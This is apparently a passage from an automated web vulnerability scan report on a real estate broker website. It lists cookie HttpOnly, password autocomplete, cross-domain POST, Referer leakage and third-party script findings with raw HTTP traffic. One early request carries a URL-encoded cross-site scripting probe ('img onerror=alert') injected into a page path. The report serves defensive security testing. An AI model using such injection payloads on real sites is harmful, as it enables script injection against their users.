Host: century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/map-searchd8910%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e6c4743bf3e973b840?AddressGoto=&Criteria%2FListingNumber=&Criteria%2FListingTypeID=&Criteria%2FLocation=02110&Criteria%2FLocationType=Zip+Code&Criteria%2FMaxPrice=900000&Criteria%2FMaxSquareFootage=Maximum&Criteria%2FMinBathrooms=3&Criteria%2FMinBedrooms=3&Criteria%2FMinPrice=600000&Criteria%2FSearchType=&Criteria%2FSquareFootage=3000&SearchTab=&TabsMode=&NewHomesSessionId=&BankOwnedHomesSessionId=&Partner=eh&ShowDisclaimer=1&WebsiteID=383363
Cookie: owid=383363; CMAVID=none; bacDomain=true; rBW-ListingSearch-383363=e42e54a8-5886-4eeb-9fa4-2350fdb759f5; BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; cmRS=t3=1314113229614&pi=

Response

3.4. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/existing-homes previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/pages/existing-homes

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; expires=Mon, 23-Aug-2021 14:22:24 GMT; path=/
rBW-ListingSearch-383363=8166dd92-a14c-41c8-8b4b-0aa4e0128a1b; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /pages/existing-homes HTTP/1.1
Host: century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Proxy-Connection: keep-alive
Referer: http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/map-search
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; owid=383363; CMAVID=70051313543214176105553; cmTPSet=Y

Response

3.5. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/map-search previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/pages/map-search

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; expires=Mon, 23-Aug-2021 14:22:15 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /pages/map-search HTTP/1.1
Host: century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/pages/map-search
Content-Length: 427
Cache-Control: max-age=0
Origin: http://realestatecenter.bankofamerica.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

AddressGoto=&Criteria%2FListingNumber=&Criteria%2FListingTypeID=&Criteria%2FLocation=02110&Criteria%2FLocationType=Zip+Code&Criteria%2FMaxPrice=900000&Criteria%2FMaxSquareFootage=Maximum&Criteria%2FMi
...[SNIP]...

Response

4. Password field with autocomplete enabled previous next
There are 3 instances of this issue:

/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js
/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js
/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

4.1. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js

Issue detail

The page contains a form with the following action URL:

http://www.fidelitypassport.com/logon.asp?CMD=LOGON

The form contains the following password field with autocomplete enabled:

password

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:21:48 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Cache-Control: public
Expires: Wed, 22 Aug 2012 14:21:48 GMT
Last-Modified: Tue, 09 Aug 2011 22:59:30 GMT
Content-Type: text/javascript; charset=utf-8
Content-Length: 93838
Vary: Accept-Encoding
Connection: Keep-Alive

(function(e){var d=e.ajax;var a={};var c=[];var b=[];e.ajax=function(h){h=jQuery.extend(h,jQuery.extend({},jQuery.ajaxSettings,h));var g=h.port;switch(h.mode){case"abort":if(a[g]){a[g].abort()}return
...[SNIP]...
</form>")}function PassportLoginWidgetCC(){document.write('<form name=PassportLogin action=http://www.fidelitypassport.com/logon.asp?CMD=LOGON method=post target="_blank">');document.write('<table style="border: solid 1px '+widget_borderColor+";background: "+widget_bgColor+';" cellpadding=5 class="widgetTable" width="'+widget_width+'">
...[SNIP]...
<td><input style="WIDTH: 150px" type=password size=32 name=password></td>
...[SNIP]...

4.2. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js

Issue detail

The page contains a form with the following action URL:

http://www.fidelityez.com/default.aspx

The form contains the following password field with autocomplete enabled:

password

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:21:48 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Cache-Control: public
Expires: Wed, 22 Aug 2012 14:21:48 GMT
Last-Modified: Tue, 09 Aug 2011 22:59:30 GMT
Content-Type: text/javascript; charset=utf-8
Content-Length: 93838
Vary: Accept-Encoding
Connection: Keep-Alive

(function(e){var d=e.ajax;var a={};var c=[];var b=[];e.ajax=function(h){h=jQuery.extend(h,jQuery.extend({},jQuery.ajaxSettings,h));var g=h.port;switch(h.mode){case"abort":if(a[g]){a[g].abort()}return
...[SNIP]...
</form>")}function EZOrderLoginWidgetCC(){document.write('<form name=EZLogin action="http://www.fidelityez.com/default.aspx" method=post target="_blank">');document.write('<table style="border: solid 1px '+widget_borderColor+";background: "+widget_bgColor+';" cellpadding=5 class="widgetTable" width="'+widget_width+'" >
...[SNIP]...
<td><input style="WIDTH: 150px" type=password size=32 name=password><input type="hidden" name="ReturnUrl" value="SearchOrders.aspx">
...[SNIP]...

4.3. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js

Issue detail

The page contains a form with the following action URL:

http://www.fidelityez.com/default.aspx

The form contains the following password field with autocomplete enabled:

password

Request

Response

5. Cross-domain POST previous next
There are 3 instances of this issue:

/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js
/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js
/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js

Issue background

The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.

5.1. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js

Issue detail

The page contains a form which POSTs data to the domain www.fidelitypassport.com. The form contains the following fields:

username
password

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:21:48 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Cache-Control: public
Expires: Wed, 22 Aug 2012 14:21:48 GMT
Last-Modified: Tue, 09 Aug 2011 22:59:30 GMT
Content-Type: text/javascript; charset=utf-8
Content-Length: 93838
Vary: Accept-Encoding
Connection: Keep-Alive

(function(e){var d=e.ajax;var a={};var c=[];var b=[];e.ajax=function(h){h=jQuery.extend(h,jQuery.extend({},jQuery.ajaxSettings,h));var g=h.port;switch(h.mode){case"abort":if(a[g]){a[g].abort()}return
...[SNIP]...
</form>")}function PassportLoginWidgetCC(){document.write('<form name=PassportLogin action=http://www.fidelitypassport.com/logon.asp?CMD=LOGON method=post target="_blank">');document.write('<table style="border: solid 1px '+widget_borderColor+";background: "+widget_bgColor+';" cellpadding=5 class="widgetTable" width="'+widget_width+'">
...[SNIP]...

5.2. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js

Issue detail

The page contains a form which POSTs data to the domain www.fidelityez.com. The form contains the following fields:

email
password
ReturnUrl

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:21:48 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Cache-Control: public
Expires: Wed, 22 Aug 2012 14:21:48 GMT
Last-Modified: Tue, 09 Aug 2011 22:59:30 GMT
Content-Type: text/javascript; charset=utf-8
Content-Length: 93838
Vary: Accept-Encoding
Connection: Keep-Alive

(function(e){var d=e.ajax;var a={};var c=[];var b=[];e.ajax=function(h){h=jQuery.extend(h,jQuery.extend({},jQuery.ajaxSettings,h));var g=h.port;switch(h.mode){case"abort":if(a[g]){a[g].abort()}return
...[SNIP]...
</form>")}function EZOrderLoginWidgetCC(){document.write('<form name=EZLogin action="http://www.fidelityez.com/default.aspx" method=post target="_blank">');document.write('<table style="border: solid 1px '+widget_borderColor+";background: "+widget_bgColor+';" cellpadding=5 class="widgetTable" width="'+widget_width+'" >
...[SNIP]...

5.3. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js

Issue detail

The page contains a form which POSTs data to the domain www.fidelityez.com. The form contains the following fields:

email
password
ReturnUrl

Request

Response

6. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/listing/searchhandler.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/listing/searchhandler.aspx?WebsiteID=383363&Location=02110&LocationType=Zip%20Code&Baths=3&Beds=3&MinPrice=600000&MaxPrice=900000&MinInteriorSqFt=3000&MaxInteriorSqFt=Maximum&timestamp=1314109337803

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://ajax.microsoft.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js
http://bacimages.fnistools.com/images/recos/1198/bac-source-images/icon_alert_info_27x27.gif
https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/cmdatatagutils.js
https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/eluminate.js

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:22:25 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: CustomerWebsiteVisit=eae1bbe2-94e7-45c8-bd29-d9725fa5b758; expires=Thu, 22-Sep-2011 14:22:24 GMT; path=/
Set-Cookie: rBW-PreferredBrokerWebsiteUrl=century21heritagerealtyassociates-75976.lps.preferredbrokersite.com; path=/
Set-Cookie: rBW-CustomerWebsiteVisit=eae1bbe2-94e7-45c8-bd29-d9725fa5b758; expires=Thu, 22-Sep-2011 14:22:25 GMT; path=/
Set-Cookie: rBW-PublicWebsiteID=383363; path=/
Set-Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; expires=Mon, 23-Aug-2021 14:22:25 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11263
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...


<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js"></script>
...[SNIP]...
<div class="boa-modal-alert-blue-border">
<img alt="Alert message" src="http://bacimages.fnistools.com/images/recos/1198/bac-source-images/icon_alert_info_27x27.gif" />
<div class="boa-modal-alert-blue-border-head">
...[SNIP]...
</div>

<script src="https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/eluminate.js" ></script>
<script src="https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/cmdatatagutils.js"></script>
...[SNIP]...

7. Cross-domain script include previous next
There are 6 instances of this issue:

/
/images/RECos/1198/js/rec-rbw-coremetrics.js
/listing/searchhandler.aspx
/pages/a
/pages/existing-homes
/pages/map-search

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

7.1. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://ajax.microsoft.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js
http://dev.virtualearth.net/mapcontrol/mapcontrol.ashx?v=6.3
https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/cmdatatagutils.js
https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/eluminate.js

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 15:26:47 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: ListingSearch-383363=e42e54a8-5886-4eeb-9fa4-2350fdb759f5; path=/
Set-Cookie: rBW-ListingSearch-383363=e42e54a8-5886-4eeb-9fa4-2350fdb759f5; path=/
Set-Cookie: BrokerOffice_Session=SessionCookie=fa1600f0-fbfe-4413-a92c-42294e063817; expires=Mon, 23-Aug-2021 15:26:47 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 41550
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...


<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js"></script>
...[SNIP]...

<script type="text/javascript" src="http://dev.virtualearth.net/mapcontrol/mapcontrol.ashx?v=6.3"></script>
...[SNIP]...
</div>

<script src="https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/eluminate.js" ></script>
<script src="https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/cmdatatagutils.js"></script>
...[SNIP]...

7.2. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/images/RECos/1198/js/rec-rbw-coremetrics.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/images/RECos/1198/js/rec-rbw-coremetrics.js

Issue detail

The response dynamically includes the following scripts from other domains:

https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/cmdatatagutils.js
https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/eluminate.js

Request

GET /images/RECos/1198/js/rec-rbw-coremetrics.js HTTP/1.1
Host: century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Proxy-Connection: keep-alive
Referer: http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/map-search
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b

Response

HTTP/1.1 200 OK
Cache-Control: max-age=86400
Content-Length: 7296
Content-Type: application/x-javascript
Last-Modified: Tue, 18 Jan 2011 21:18:14 GMT
Accept-Ranges: bytes
ETag: "88ff6e3755b7cb1:0"
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
Date: Tue, 23 Aug 2011 14:21:50 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

//should be added In html <head>
//<script src="https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/eluminate.js" eval_visible="true"></script>
//<script src="https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/cmdatatagutils.js"></script>
...[SNIP]...

7.3. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/listing/searchhandler.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/listing/searchhandler.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://ajax.microsoft.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js
https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/cmdatatagutils.js
https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/eluminate.js

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:22:25 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: CustomerWebsiteVisit=eae1bbe2-94e7-45c8-bd29-d9725fa5b758; expires=Thu, 22-Sep-2011 14:22:24 GMT; path=/
Set-Cookie: rBW-PreferredBrokerWebsiteUrl=century21heritagerealtyassociates-75976.lps.preferredbrokersite.com; path=/
Set-Cookie: rBW-CustomerWebsiteVisit=eae1bbe2-94e7-45c8-bd29-d9725fa5b758; expires=Thu, 22-Sep-2011 14:22:25 GMT; path=/
Set-Cookie: rBW-PublicWebsiteID=383363; path=/
Set-Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; expires=Mon, 23-Aug-2021 14:22:25 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11263
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...


<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js"></script>
...[SNIP]...
</div>

<script src="https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/eluminate.js" ></script>
<script src="https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/cmdatatagutils.js"></script>
...[SNIP]...

7.4. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/a previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/pages/a

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://ajax.microsoft.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js
https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/cmdatatagutils.js
https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/eluminate.js

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 15:26:49 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; expires=Mon, 23-Aug-2021 15:26:49 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 16446
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...


<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js"></script>
...[SNIP]...
</div>

<script src="https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/eluminate.js" ></script>
<script src="https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/cmdatatagutils.js"></script>
...[SNIP]...

7.5. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/existing-homes previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/pages/existing-homes

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://ajax.microsoft.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js
http://dev.virtualearth.net/mapcontrol/mapcontrol.ashx?v=6.3
https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/cmdatatagutils.js
https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/eluminate.js

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:22:24 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: rBW-ListingSearch-383363=8166dd92-a14c-41c8-8b4b-0aa4e0128a1b; path=/
Set-Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; expires=Mon, 23-Aug-2021 14:22:24 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 38798
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...


<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js"></script>
...[SNIP]...

<script type="text/javascript" src="http://dev.virtualearth.net/mapcontrol/mapcontrol.ashx?v=6.3"></script>
...[SNIP]...
</div>

<script src="https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/eluminate.js" ></script>
<script src="https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/cmdatatagutils.js"></script>
...[SNIP]...

